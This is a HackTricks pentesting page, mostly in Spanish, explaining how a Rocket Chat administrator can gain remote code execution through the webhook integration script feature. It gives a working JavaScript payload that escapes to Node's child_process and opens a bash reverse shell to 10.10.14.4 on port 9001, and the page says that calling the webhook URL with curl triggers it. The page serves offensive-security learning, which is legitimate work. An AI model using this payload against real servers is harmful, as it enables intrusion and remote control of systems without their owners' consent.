Rocket Chat

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Websec | Uw Cybersecurity Specialist

RCE

Si eres administrador dentro de Rocket Chat, puedes obtener RCE.

• Ve a Integraciones y selecciona Nueva Integración y elige cualquiera: Incoming WebHook o Outgoing WebHook.

• /admin/integrations/incoming

• Según la documentación, ambos utilizan ES2015 / ECMAScript 6 (básicamente JavaScript) para procesar los datos. Así que obtengamos un rev shell para javascript como:

const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")

• Configura el WebHook (el canal y la publicación como nombre de usuario deben existir):

• Configura el script del WebHook:

• Guarda los cambios

• Obtén la URL del WebHook generado:

• Llama a la URL con curl y deberías recibir el rev shell

Websec | Uw Cybersecurity Specialist

Apoya a HackTricks

• Revisa los planes de suscripción!

• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.

• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.